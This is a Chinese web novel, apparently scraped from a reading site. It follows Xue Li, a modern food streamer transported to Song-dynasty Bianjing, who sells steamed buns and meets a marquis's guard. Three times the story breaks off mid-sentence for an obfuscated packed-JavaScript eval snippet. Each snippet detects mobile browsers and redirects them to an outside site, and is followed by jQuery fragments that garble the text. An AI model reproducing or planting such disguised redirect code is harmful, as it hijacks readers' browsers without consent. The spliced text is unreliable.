《汴京谁还没吃饭（美食）》 1. 烫羊肉馒头 “小娘子着实好手艺！” “欸？只是不知，这馒头滋味怎让人莫名觉得有些熟悉？” 汴京城兴国寺桥头，靛蓝布棚下，一处馒头摊车周遭蒸汽缭绕。 那食客双手捧着香油浸透了的羊肉馒头，一边好奇打听，一边忍不住椒香与葱香的诱惑，低首又咬下一口羊肉馅，美得直眯眼咂舌，回味无穷。 “我尝着......这滋味倒与前些时日大相国寺旁那家紫英卷摊上的颇为相似！” “天下美味皆有相似之处。我家小摊才刚开张没几日，郎君怕不是嘴中吃着我家馒头，肚中却惦记起旁的美食来了？” 清透的女声自摊车上的水笼笼的蒸汽后透来。 那食客忙抬袖抹了把嘴，咽下口中肉糜，急急道：“小娘子哪里的话，今日吃罢你家的馒头，只怕日后其他馒头都入不了我眼了。” “不过......小娘子为何要以面纱示人？”食客挥挥手，赶去缭绕的白雾水汽，欲瞧一眼这声音年轻、却可将寻常馒头做得喷香如此的女子到底是何天菩萨模样。却不料，濛濛水雾散去，居然还有一层月白面纱作遮挡？ 难道当真是天菩萨？！ 食客愕然，愣楞的，却仍不忘抬手往嘴中塞一口滋味甚鲜的羊肉馒头。 薛荔可不知摊前这位客官心中的离奇所想，此刻正低垂着头，卷罢窄袖，手握擀面杖，一遍遍地给刷好了猪油酥的面团擀面。 哪壶不开提哪壶，说起戴面纱这事她就来气！ 她薛荔，原是二十一世纪一名小有名气的美食主播，爱美食爱生活，积极向上，可称“人间小太阳”。 可为了流量，为了钞票，她每日不得不吃超出自己食量的食物，催吐的念头便是在那时萌芽的。然而，日子一久，胃穿孔便找上她来了。后来为了保全自己的胃，她只得放弃吃播，每天吃寡淡的药膳养胃。 想来也是上天对她浪费粮食的惩罚，在某个更阑人静的夜晚，剧烈的胃痛席卷而来，这回竟直接将她痛晕穿越来了宋朝！ 想到这里，薛荔不由得叹了口气。 果然，浪费粮食可耻至极！ 可一颗财迷的心告诉她，赚钱无罪！她一现代人来到古代，赚钱还不容易？ 小时候，她总幻想带着现世的记忆，穿越回房价大涨前的那年，疯狂购入房产，最终成为亿万富婆。现如今倒好，穿越是穿越了，只不过......这时间跨度实然是有些大。 咳咳，话道回“面纱”。 她在汴京安定下来后，好不易攒钱在大相国寺边支了家寿司铺，又为寿司改了个古色古香的名儿，美其名曰“紫英卷”。 彼时恰逢各地举人进京赶考，后又接着寒食节，她凭借可冷吃、易携带的“紫英卷”大赚一笔。 食客的确吸引了大批，可眼红记恨她的人也添了不少——尤其是大相国寺旁那家“大相国寺三不欺张记炊饼”。 张记炊饼本是家颇有名气的老字号，客流量向来稳定，可自打她的紫英卷摊子支到大相国寺附件，去炊饼铺的客官便肉眼可见地少了半数。 谁叫她在美食上天赋过甚，做起生意来亦是不在话下。紫英卷被她分成咸甜两品。咸口多卷盐渍梅子、酱瓜、鲊鱼和炭烤豕肉；甜口多裹蜜渍莲子、糖渍橘肉以及庵罗果；馅儿外再卷以糯米、紫英。内陷任选，滋味多样，也不愧她上辈子为美食而玉殒香消。 宋朝虽也有饭包，但好在并无用紫英外裹的饭包，馅料也是单一偏酸的，口味着实算不上好。因此，当这样一个从前平平无奇，甚至是有些难吃的食物，被人改做得美味可口时，众食客们的新鲜感就上来了。 本是一桩美事，可坏就坏在，她将摊子支在了那“张记炊饼”的斜对角。 吃炊饼的，不吃炊饼的，都因着心中好奇而聚到她摊前来。 这可将那炊饼铺子的张掌柜彻底惹恼火了。 他心生歹意，买通一批地痞无赖冒充客官到她摊上买紫英卷。这些个赤佬牛子吃完后，奄忽大呼腹痛，倒在地上撒赖放泼，还故意引来过路人围观。身为百年老字号铺主的张掌柜凛然挺身而出，诟厉她以馁鱼败肉赚钱，害人性命，逼得坊市管事不得不介入。 那张掌柜本就是个地头蛇，又与坊市管事交情颇深，对方敷衍万分地听她辩解没几句，她人生中的头个摊摊便被量决“死刑”。 可怜薛荔自知清白，却并无背景，开口争辩，反倒成满嘴胡缠。 紫英卷小摊被迫倒闭，但她可是打不死的。先换了条小巷继续支摊，然而街坊群生都不敢再信她的手艺。实无办法，她只得痛心万分地舍了此地优越的客流量，另寻他处做营生。 哼，相国寺不行，兴国寺总行吧？ 所幸那些日子生意尚好，她还存下一小笔积蓄，此番提前摸清行规，戴上面纱，转战兴国寺！ 只是那家可恶的炊饼铺...... 还“三不欺”呢，分明就欺了她！ 薛荔想起便怒火中烧，手中的擀面杖高高举起，狠狠揍在面酥上，敲出好大一声响，似要将那狡猾的张掌柜揍得满地找牙，震得案板上的面粉倏地飞出一片白。 “咳咳，小娘子不愿说，不说便是了。” 那食客刚将最后一口馒头的精华塞入口中，尚未来得及下咽，忽听得震天一声响，哆嗦一激灵，以为是自己惹恼了薛荔，哽着脖颈红着脸，忙摆手。 “我不打搅小娘子做生意了，明日再来你这买馒头吃！” “欸......” 薛荔举起擀面杖，忙抬头望去，只瞧见那人小跑而逃的背影. 她无奈摇了摇头。 这张扒皮，挤掉她摊位不说，还害她将客官吓跑，当真是害人不浅。 不过，眼下她还没空同他算账。 当务之急，是她手中的这团面。 宋朝的面点种类繁多，大体可分为炊饼与馒头两种。 但宋朝人口中的炊饼可并非烧饼，而是一种蒸制而成的无馅儿面食，原称作“蒸饼”。因避宋仁宗赵祯的名讳，“蒸饼”失去了自己的名字，不得不改作“炊饼”，相当于现代的实心馒头。 与之恰好相反，宋朝的馒头则是指带馅的面食，类似于现代的包子。 薛荔今日清早做出的这几笼便是宋朝馒头。有流行于宫廷市井，迎合大众口味的羊肉馒头；内裹山笋碎与五花肉糜，佐以花椒末添鲜的笋肉馒头； ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659667|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红豆沙拌入饴糖，捏成尖头桃形，面尖上点缀胭脂红曲，专供孩童与喜甜之人食用的糖馅馒头；以及，为投兴国寺斋客所好，用豆腐丁拌香蕈碎与菘菜碎，加芝麻油增香，面皮擀得极薄，蒸后透出青白纹理的素馅馒头。 其中，卖得最好的非羊肉馒头莫属。不愧乃她在天色尚且发灰时，便顶着鸡窝头起床备馅的馒头。 羊肉要选肥瘦相间的羊上脑，浸在泉中褪去血水，再取橘皮、八角、黄酒去腥膻，最后搁进陶铫里，慢炖至酥烂。 薛荔是今日第一个尝此美味之人。 清晨拂曙之时，她顶着一头乱蓬蓬的发，伏在灶台边，烫手万分地捧着个透油大包，鼻尖先凑近些，满足地嗅尽香气，再以贝齿轻咬那吸满了琥珀色浓汤的酥肉。 炖了两个时辰的肉脂与筋膜在小火的煨煮下胶质融化，咀嚼的那一瞬间，浓郁的奶香与脂香在舌底化开，似尝到雪酪浮酥般的柔腻，齿颊盈香！ 回忆着，薛荔便不禁咽了咽口水。 羊肉馒头尚味美至此，“宫廷特供”的蟹肉馒头且还得了？ 她倒早想做蟹肉馒头，可如今手中经费有限。一斤羊肉约莫四十文钱，而蟹肉少也得三四百文。顿顿羊肉和一顿蟹肉，她还是分得清的。 汴京城中，卖馒头的面点铺子何其之多？原主又是个孤儿般的娇娘，她若要想早日发财致富，就不得不利用自己从前的经验，独辟蹊径。 就好比，眼下她正复刻前世曾吃到过的破酥包。 她一大清早便出来支摊，直至春阳拂面，手腕都酸痛，才将案上的油酥面皮擀得舒若素绡，连榆木擀杖与案板上都沾染上麦粉与豕油的香气。 要晓得，面皮擀得愈薄，卷出的层次便愈多，经时蒸好后的酥皮层次也才会丰富。 薛荔将卷成长条的油酥面团分成大小均匀的剂子，咸陷儿的里头加豕五花、春笋丁、香蕈碎、再佐以豉汁、姜葱调和。甜陷儿则是以赤豆沙打底，混入蜜渍桂花与糖霜增添甜香。 她熟练地将面剂子擀扁，包入馅料，纤纤玉指翻飞，轻捻细折，转瞬便捏出一道道褶皱，恰若鲤鱼微张的小嘴，玲珑秀气。 竹蒸笼垫上一层芭蕉叶防粘，再摆上包子，柴火猛蒸一炷香，酥皮薄如云雾的破酥包便可出笼了。 薛荔头回做破酥包，伊始心中还没底，但当笼盖掀开，热腾的蒸汽裹挟着面香与油香扑面而来，朦胧中透出白胖包子油润的酥皮面时，她心中的那份焦虑便烟消云散了。 “你这做的是何种馒头？怎能香成这般？” 薛荔方拿了个破酥包在手，烫得于两手之间掂来掂去，正准备撕开，瞧瞧内里的酥开得如何，便听见一旁摊位上那位卖馉饳的大娘好奇地凑过半截身子来打听。 “新鲜出炉的，正热乎呢，大娘也尝尝吧。”薛荔笑笑，将手中包子递去。 经历了张记炊饼一事后，她深刻意识到，做生意很有必要同周围的商户们打好关系。 大娘见她如此爽朗，反倒有些不好意思，忙摆手开口要婉拒，却被薛荔先发制人地利索塞了个油纸裹好的包子到手心。 “诶呀，你一个小娘子赚钱多不易，我都一把年纪了，怎好白吃你的？” 2. 皇榜招名厨 “不打紧，这做的是明日打算卖的新食，大娘只管安心吃，就作是帮我试味了。” 薛荔嘴甜，支摊以来待人亦和善，大娘听她如是讲，便也不再推辞，报赧一笑，低头吹了吹包子的热气。 乳白的水汽缓缓散去，可浓郁的肉香却一个劲儿地钻入鼻间，叫人未食，肚中便已生出几分馋意。 馉饳大娘忍着烫意咬下一口，只觉这包子的外皮轻而易举便裂开，面皮酥软，同花瓣似的在齿间迭现绽放，裹在其中的馅料随即淌出诱人滋味——豕肉的脂膏经柴火融化，渗入面皮，口感丰润却不肥腻。豉汁的咸香与笋丁的清脆交织，又添几分香蕈的醇香，她舌尖一转，竟尝出几分说不清道不明的鲜美。 薛荔微微侧身，双眸圆睁紧瞅大娘神情，却见大娘忽而睁大了眼，亦瞅着自己。 该不会，是难吃得将人毒哑了罢？！ 薛荔心底一惊，又一凉，眉梢耷拉下来，暗暗可怜自己竟两辈子都与美食无缘。 这可不同上次被人故意找茬般有得商量了，这回她大抵是真要去大宋牢狱里蹲上数载了。 她哭丧着脸垂下头，而大娘却方从怔忡中回神，似是不敢相信这小小一个面点竟能如此好吃，嘴里还含着一口热馅，却又忍不住随即咬下另一口。 这回不再是小心翼翼，而是大快朵颐。热乎乎的馅料烫得她吸气连连，可她却只顾着一口又一口。 “小娘子瞧着年纪轻轻......没曾想，厨艺竟如此精湛！”大娘鼓着一侧腮帮，一边咀嚼，一边模糊又赞叹地说着。 薛荔猛然抬头，喜出望外：“大娘是觉着好吃？” “自然是好吃了。”大娘瞧了她一眼，似是在笑她的不自信，“酥而不散，香而不齁，我活了大半辈子，还未吃过这般独特的面点。不过......你这不是寻常馒头罢，此物唤作何名？” 对了，名还未取呢，总不能仍唤作破酥包罢。 薛荔顿了一顿，脑袋转得飞快，无几脱口而出：“此物唤作‘云酥包’！” “云酥包？” “对，就叫此名。”薛荔盈盈笑着，“?酥皮薄甚云雾，可不就得唤作云酥包么？” “此名甚好，此名甚好！” 二人正谈论着云酥包的滋味，薛荔却无意瞧见，街头张榜处人头攒动。 恰巧大娘的馉饳摊上来了食客，见她好奇地往那边瞅，便热心答了句：“你想知那皇榜？其实无他，只不过官家要为宁武侯选厨。” 选厨？薛荔纳闷。 早听过皇帝选妃嫔，选才子，选名医，却不料，还有选厨子这一说？ 大娘好似薛荔肚中的蛔虫，边为食客端上新鲜煮好的鹌鹑馉饳儿，边问话：“宁武侯府是何等气派阔绰，怎还需官家为其操心厨子的事？” 那食客答：“莫非你还不知？宁武侯领兵出征北汉，遭军中叛贼投靠敌国，泄露军情，重伤而归。且听闻新伤又引出旧疴，侯爷眼下的体况可谓是不容乐观啊。” “竟病得这般重？”大娘震惊之余且惋惜，一转身，见薛荔睁着一对圆溜溜的眼，甚是天真不知所云之态，不由得在心底发恼。 现如今的小子后生，怎连本朝俊雄命在旦夕之事都不放心上？ 大娘痛心疾首：“宁武侯自束发时随父出征，弱冠之年便勇冠三军，战无不胜！攻无不取！为大宋戎马关山，实乃忠将！此刻他性命攸关，你这孩子怎地漠不关心？” 薛荔初来乍到，哪来得及打听当今朝堂上的重臣有何许人？当下见大娘一副恨铁不成钢模样盯着自己，生怕被擿发成敌国细作，只得连忙回：“宁武侯英勇万分，出了这等事，我自是为国损将而痛心了……可就凭小女子这厨艺，也揭不了那皇榜不是？” 大娘被她这一反问问住了，哽了半晌，本欲讲“你做云酥包那水平就很令人咂舌哇”云云。可方木桌边的那食客却点头和道：“侯爷乃乌衣门第，于饮食上自然口味刁钻。张黄榜前，便有汴京名厨去侯府试菜了，无一例外，皆落选而归。小娘子若有烹龙炮凤之能，想来也早不在兴国寺前支摊了不是？” 薛荔连连点头。 馉饳大娘望着她，如鲠在喉。 - 西山日薄之时，薛荔收了馒头摊，推着她的小摊车，听着车底钱匣中哗啦啦的铜钱响，悠哉游哉地逛回了家。 早市里的粥铺、汤饼摊等铺子多在五更初，天不亮时便开门，辰时左右收摊。薛荔开张开得晚些，收摊收得更晚。 本想着，要不干脆熬到夜市再赚一笔，可转念一想，今夜要将云酥包的馅料备好，明日清晨又要早起来蒸包子，还是早些打道回府，颐养精气神才好。 临街炒栗铺里飘出旋炒栗子的焦糖香，薛荔肚中的馋虫渐渐被勾醒，正缓下步履，两眸生光地朝那铺面望去，冷不丁斜刺里冲出个举糖画的垂髫小儿，险些撞翻她的摊车。 薛荔吓了一跳，回过神时，那小儿的爹娘已急步追上来赔礼。 小儿的父亲生得一副文人书生样，为自家哥儿的莽撞行为深表歉意，拱手躬身，连连朝她道了好几番歉，容色郑重到连她都觉自己要折寿。 “我倒无妨，你家童儿无事便好。” 那小儿的娘也朝薛荔抱愧一笑，转而忙追着仍在嬉闹的儿道：“大奴莫跑，仔细汗透小衣。” 一家三口匆匆离去，薛荔望着他们温馨的背影，心中便为与自己同名同姓的原主感到几分惋惜。 原主本是一户等闲人家的女儿，父亲经营着家中祖传药铺，且备科考，母亲凭一手好厨艺开了家小食肆，三口之家过得和和美美。但天公不作美，其父满心求取功名，科考多年皆不中，药铺也因经营不善破产。其母因家业凋零，整日愁颜不展，终忧悒成疾，撒手人寰。 原主与父亲二人相依为命，然而祸不单行。某日深夜，其父思妻醉酒，行路不稳，一头磕在河边大石上，一命呜呼。 父母皆故，原主自是悲恸欲绝，一时怫郁，这才有了薛荔穿越而来时，从荒芜庭院的水井中狼狈爬上来的一幕。 实是可怜可惜，好生生的一位小娘子，不但继承了母亲的厨艺天赋，还因与父亲接触医学而精通各类食材与草药的搭配，就这般想不开投井自亡，舍下了芳华韶龄与满身本领，怎叫薛荔不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659668|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛心欷歔？ 不过，既然自己借了这薛小娘子的身躯重获新生，那便一定替她重振家业，以告慰薛氏一家三口的在天之灵！ 东山再起第一步！ ——脱贫致富！ 薛小娘子家中本虽不穷，但为其父科考、其母寻医问药，早已花费不少赀财，再加上爹娘先后离世，宋朝人又多选烧钱的土葬，减去杂七杂八的消费后，眼下她手中的余钱仅有十五贯。 薛荔早盘算过了，这几日她的馒头摊生意不错。 羊肉馒头售价十文一个，笋肉的八文，糖馅的六文、素馅则是四文，依照宋朝三成至五成的餐饮行业利润率标准，也还处于合理范畴。一天卖出的馒头少也得有二百个，减去原料还有摊位税费等开销，光是靠卖馒头，她一日便可赚得五百文，更不用说，今后她还欲在兴国寺附件盘个小铺面，多卖些药膳、糕点类的吃食。 只是，当下便立即租间铺子还有些不现实。 毕竟兴国寺乃汴京城繁华之地，一月租金就要八贯钱，她还是先靠小摊车撑段时日，攒下些本钱再说罢。 薛家祖上吃苦，家财累积较丰，且素重亲情，因此祖传的药铺并未设在宅邸前院，而是特意在外另租铺面经营，以免打扰家中清净。 薛宅是一座二进四合院，青砖围墙深深围合，主屋端坐北方，厢房分列东西。院中松柏苍翠，梅花傲寒，既可入药，又可观赏。后院另设两间窄房，一间堆放各色药材，可惜薛父逝去后无人打理，大多霉坏；另一间则置满锅碗瓢盆，薛母病重后，鲜少有人挪动，器皿上已留下一层厚厚的腌臜尘灰。 薛荔将摊车推进庭院中停好，双手叉着腰，仰头松了松脖颈，就这么一小会儿，冷不防瞧见对面屋顶上的花瓦。瓦当上模印着“安、寿、吉、利”之类的吉祥字，边缘一圈还刻上了细腻的花纹。她见了，心底不禁慨叹，若无父亲落榜、母亲病重二事，想来这位薛小娘子的生活也该是美好而宽裕的啊。 趁着天色尚未全暗，薛荔利落地取上工具，开始着手改造她的小摊车。 毕竟明日她要售卖的可是全汴京首家“云酥包”。身为摊主，她自得好好打广告。 云酥包，贵就贵在一“酥”字。 若是能有现成样品摆至蒸笼边参考，让食客们瞧见那层层薄如蝉翼的酥皮，及鲜美多汁的馅料，自然能诱得他们馋涎欲垂。可惜眼下条件有限，蒸好的云酥包稍凉便易碎，实在不宜久放。 思索片刻，薛荔灵机一动，取来竹纸、毛笔与颜料，落笔如飞。 寥寥几笔间，三只云酥包便跃然纸上——最上方是只完整的白胖包子，用毛笔沾白土浆挥成一笔白雾，恰似方蒸笼中端出，热气腾腾；中间与下方则是两只对半撕开的包子，酥皮迭现，金黄流油的酱肉馅与绛红馥郁的豆沙馅似乎快要流出来。 光是瞧着简笔画，便已叫人直咽口水。 薛荔抹了把汗珠，将画裱好，挂在遮阳布幔上。站远了些看，仍觉着差了些意蕴。 既是广告，怎能无广告语？ 她又取来一块木牌，毛笔饱蘸朱砂，行如流水般落下六个大字—— 3. 云酥包一绝 “透纱皮，玲珑馅！” 木牌立至蒸笼前，她再站远一观，这回总算是满意地弯起眉眼。 第二日，天光微熹。 宁武侯府门前早已人头攒动，各地名厨从巷口一路排开，足足绕了三拐，连街对面的商贩都早早地开张瞧热闹。 有人拎着竹篓、有人肩扛食案，还有人怀里揣着祖传的秘制香料，就连京师中几家老字号的掌勺人都列其中，场面颇为壮观。 侯府院内，枪风猎猎。 齐恂身着墨色窄袖练功服，长身玉立，枪随人走，一套枪法练下来矫若游龙，丝毫不见负伤甚深之态。 近卫云冯快步入院，远立拱手禀告：“侯爷，这才辰时，府外的庖厨就已将街巷挤满，再等下去，只怕要排到市集，扰乱治安了。” 齐恂收势于一瞬，翻腕一抖，枪尖稳稳点地。劲风微掀起额前一缕鬓发，他平复好气息，声色清冽道：“今日选厨，比试‘活羊三吃’，味不膻腥且鲜美者入选。” 云冯闻言，咧嘴一笑：“昨日是‘活猪三吃’，今日又成‘活羊三吃’。这两样最是腥臊，连御膳房御厨都偶有失手。侯爷既不愿招庖厨入府，不若直接向官家禀明，这等小事，官家会允准的。” “你真以为此事只关选厨？”齐恂随手将长枪横回兵器架，不咸不淡地扫了云冯一眼。 后者顿觉脊背一阵嗖凉，绞尽脑汁飞速思索：“自、自然不是......侯爷是觉——居心叵测之人会借此次选厨，将细作送入侯府！” 齐恂缓步走向廊下，随手拎起茶盏，杯盖轻轻一拨，淡然饮茶：“还不算太蠢。” 云冯笑着摸了摸后脑勺：“跟在侯爷身边这几许年，我已长进不少哩。” “既有长进，为何还在此处呆候着？”齐恂睨他一眼，似笑非笑，“府外的厨子都快堆成山了，还不开始比试？——你亲自裁决。” 云冯满脸不敢置信，指头点着自己：“我......?” - 话说，云冯被自家主子指派去做“活羊三吃”的主裁，自打辰时起，便再未呼吸过一口清新空气。 那羊肉当真是膻得惊天动地，偏生侯爷还挑剔地指名要取羊脑、羊眼、羊蹄三部位烹饪。连那些日日与牲畜打交道的庖厨们都一个个攒眉蹙额，恨不得将鼻梁骨捏碎，更别提素来对羊肉敬而远之、却因身为主裁而非品尝不可的他了。 可身为主裁，哪怕再难，他也得硬着头皮尝遍每一道“活羊三吃”。 这哪是考验庖厨？分明是要取他的命哇！ 几轮试菜下来，云冯已觉生无可恋，浑身都透着羊膻味，连舌头都想换根新的。还是身旁的侍卫小弟于心不忍，见他面色发白，实在反胃嗢哕模样，替了他的一时辰的班，他这才得了逃出生天的机会。 一跨出侯府，云冯只觉神清气朗，连风都是香的。 他忍不住深吸一口气，心头感慨万千——原来世上空气竟如此新鲜，平日里他怎就从不珍惜呢？ 云冯自觉打工命苦，摇摇头，一路随意游走，不知不觉间，竟晃到了兴国寺附近。 忽而一缕食物的香气随风钻入鼻尖，温热浓郁中携着一丝松软甜润，似有若无地撩拨着他的味蕾。 好香啊！ 他激灵地抬头，下意识循香望去。 只见桥头的摊前，人头攒动，熙熙攘攘，好一片热闹景象。 “那薛小娘子卖的云酥包，你吃过没有？” “莫提了！我若早知这包子如此好吃，头回买时便该要上一整笼，如今这队排得老长，怕是再等半个时辰都未必能吃上一口……” 两个壮汉与云冯擦肩而过，面上皆露出与自身魁梧样貌毫不相称的忸怩追悔之态。其中一人滔滔不绝地赞着那位薛小娘子所做的“云酥包”，连口中包子的余香都飘散出来，馋得云冯不由自主地吞了吞口水。 他探头一张瞧，只见那刻有“薛记珍味摊”的牌匾下果真排了一条长龙队伍，食客们摩肩接踵，恨不得一步跨到最前头去。 那摊车上架着数层竹蒸笼，薄薄的蒸汽从中升起，丝丝缕缕，如云雾般缭绕。竹笼前又立了块朱砂木牌，上写两竖行婉丽清秀的小楷——“透纱皮，玲珑馅！” 云冯睨着，摸了摸下巴。 写得倒是让人垂涎，只是不知是否华而无实？ 他眼眸流转，又瞧见摊车靛蓝布幔上挂的那幅裱画。三只雪白面点敦实可爱，寥寥几笔，轻缀水彩，云酥包细腻的酥皮与毫不吝啬的内陷便似已跳进了客官们的嘴中。 “诸位莫急，新一笼云酥包马上出炉！” 那小娘子笑盈盈地招呼着，伸手将笼盖一揭。蒸汽拂过，旋即露出个个白胖圆润、饱满丰盈的包子，你挤着我，我挤着你，乖巧软乎地躺在竹屉上，光是看着便知暄软可口，且还携着刚蒸好的面皮独有的麦香，交织馅料的诱人气息，着实叫人忍不住深吸一口。 “薛小娘子，给我来五个，仨咸俩甜！” 排在最前的乃一位老食客。前几日她还在卖羊肉馒头时，他便光顾多回，购买力亦是了得。这下上了新品，自然得让老主顾尝到甜头，日后生意才能长久不是？ “咸口八文一个，甜口五文一个，统共收您三十四文，您拿好，可仔细烫。”薛荔朝老食客扬起一个甜美的笑，“客官近来一直支持小摊生意，小女子无以为报，这紫苏饮配酒炖酱肉馅儿的云酥包最是解腻，今日便送客官一筒，算作小小答谢。” 薛荔一番话说得那是体贴入微，又配上眼似月牙弯的笑，直将老食客瞅得耳根子发热，红着个脸连忙摆手道“使不得，使不得”。 后头候着的客官可等不及，探过身来催促：“小娘子人美心善，你不收，岂不拂了人家一片好心？若真觉过意不去，日后常来小娘子摊上买吃食不就是了？” “正是这理！”薛荔应和。 众人皆被逗笑，那老食客也不再推拒，连连道好几声谢，两手满满当当地拎着云酥包与紫苏饮打道回府去。 此情此景，倒得见这“云酥包”的确是有些妙味。 如此一来，这队是排还是不排？ 云冯于原地犹豫了会儿，瞧见薛小娘子的摊旁站了一对祖孙。 太母刚将包子递去，那孙儿便忙不迭地接过，飞快地在两掌心间滚了一下，虽畏烫，却仍迫不及待送入口中。 云冯盯着那垂髫小童嘴边的酱肉渣碎，下意识地直咽口水，忽又回想起几刻钟前入口的羊脑、羊眼、羊蹄…… 他的胃不受控制地翻涌了一下，而后，毫不犹豫地迈步向前。 吃，必须得吃！ 为了侯爷安危，他连胃都负了工伤，哪能不再对自个儿好些？ 如是想着，眼尖的云冯瞧见又一个虎背熊腰的壮汉眼睛放光地直奔薛小娘子摊位，他转瞬拔脚，一个箭步，先人一步，加入队伍末尾。 ……一刻钟过去。 云冯在队中站得腿脚都有些麻，眼瞅离薛小娘子的摊车愈来愈近，可竹蒸笼里存留的透油包子也愈来愈少。 他的心渐渐揪起，盯着已轮到自己身前那位大娘买食，最后一竹屉上还宁静安稳地躺着八个大包时，本都准备放下心来，直至他目光流转，一低头，瞧见大娘左手臂弯处还挎了只都篮。 都篮样式不大不小，装八个云酥包可是正正好。 这这这！ 似是为赶紧印证云冯心中所忧，挎篮大娘言语中都携着笑意，意气风发：“噫！今朝真是撞着彩头！好孩子，这八个云酥包我全都要了！” 云冯只觉眼前一黑，为排队买包子而杵麻了的腿下一刻便要瘫软。 可他还没倒地呢，排在他身后那位虎背熊腰的壮汉便气冲冲地挥臂推开他，跨至大娘身旁怒道：“你将包子全都买光，那俺排了这恁久的队算甚么？” 大娘终究是大娘，亦不是好惹的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659669|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想着自个儿未争未抢，怎就不能将辛苦排来的包子买走？一横眉，方张口要同壮汉论道论道，忽听一声结实的倒地动静。 “诶呀，这位客官！” 薛荔惊呼，眼瞧着云冯一个跟头栽在砖地上，欲往前搀一把，中间却隔了个摊车。 “俺......俺力气也没使多大罢？”壮汉闻声回头，见云冯趴地不起，慌忙上前去扶。 大娘也偃旗息鼓，关切打量：“小郎君莫不是队排许久，饿得眼花了？” 薛荔闻言，瞬间了然——那不正是现代人常说的“低血糖”么！ 她从前也有这毛病，因此口袋里定会备几颗糖果，在她的视野花成一片黑白电视屏前赶忙拆开一粒含着，补充能量。 只不过......薛荔瞧着地上的云冯。 这小郎君生得也不瘦弱，衣着打扮甚至像是常年习武之人，怎排个长队就晕过去了？ 撞得额头生包的云冯哪能知晓，自己堂堂宁武侯近卫，竟被人怜悯身弱体虚。他若听见薛荔心中的想法，定会跳起来争辩——自己只不过腿稍麻，恰好又被那大汉挥手一推，这才不幸栽地。 他好歹也还是个侯爷近卫哩！ “这好办。”薛荔从摊车后走出，忙招呼安排，“郎君，能否劳您将晕倒的这位客官扶至凳子上坐着？大娘，您瞧您可否能少买一个云酥包，留一个给这位客官垫垫肚儿？” 大娘哪能不依，留下铜钱，自觉地往都篮里装进七个云酥包，都不麻烦薛荔亲自打包，提起篮子溜了。 壮汉将云冯一抗，都未曾给他解释反抗的机会，径直拐他到条凳上稳稳坐下，连连告歉：“小人粗鲁，郎君休怪！休怪！” 薛荔将最后一个云酥包裹进油纸，对那壮汉道：“这位客官瞧着并无大碍，郎君不必担忧，儿家来照料便好。” 壮汉原还因等队许久，未吃着云酥包而恼火，这一番下来，倒也不好意思再闹，憨厚地笑了两声：“搅了小娘子生意，实是惭愧，某明日再来小娘子摊子上买吃食。” 云冯倒因祸得福，本一个包子也捞不着，这下倒还吃上个热腾腾的，心中喜不自胜。 “郎君都饿得晕倒，便快吃了罢。”薛荔在他身旁坐下，贴心地递上包子。 云冯看了眼薛小娘子，一副欲言又止模样，但目光又落在那香油都浸透而出的酥皮包上，终是用口水将欲解释的话语咽了回去。 “如此，某先谢过小娘子了。” 云冯压抑着嘴角笑意，双手接过油纸，脑海中忆起方才垂髫小儿吃时狼吞虎咽的模样，肚中虽已鸣鼓，却还是欲吃得体面些。 好歹是当着一仙姿玉貌的小娘子的面吃东西嘛。 他煞有介事地吹了几口冷风，稍稍散了些热气，这才重重咬下一口。 云酥包的外皮松软酥甜，于齿间一破，浓郁的馅香顿时溢满唇齿——咸口的，酱肉瘦多肥少，滋味调得恰到好处，丝毫未有腥臊之气，反倒鲜得教人直想吞舌头！ 薛荔在一旁问：“郎君现觉如何，头晕可好些了？” 云冯却被这滋味撩拨得停不下嘴，不知如何夸赞才好，只得边嚼边含糊不清地感叹：“这包子，是真好吃！” 薛荔忍俊不禁。这人果真是饿狠了。 云冯尝此味美，感动得简直欲语泪先流：“小娘子不知，你这云酥包乃我今日吃到的第一顿好饭！” 不过一只破酥包而已，便能让人感慨成这般模样？她瞅着虎咽狼飧的云冯，眼神中流露出几分怜悯。 “郎君口中吃的是我家酒炖酱肉馅儿的咸口云酥包，今日若是早些来，兴许还可尝上蜜豆桂花馅儿的。豆沙细腻绵软，混着蜜渍的桂花碎，甜而不腻，幽幽芬芳，那才是真正的好吃哩！” 云冯听着，只觉悔恨不已。 若他知晓兴国寺旁有这般美食，说什么也得同侍卫早一时辰替班。 “薛小娘子明日可还在？” 4. 麻糍蜜蕉盏 一整个云酥包儿匆匆下肚，云冯却仍觉意犹未尽，奈何身上还有差事，不得不打道回府值班去。 那薛小娘子当真兰心蕙质，临走之前，不仅不肯收他包子钱，还贴心地给他灌了一筒紫苏饮，让他路上解腻。 心中想着，云冯手里握着那竹筒，愈发为自己感到羞惭。他竟然靠着“虚弱晕倒”之由来博取小娘子的怜悯，实在是未端正士风！ 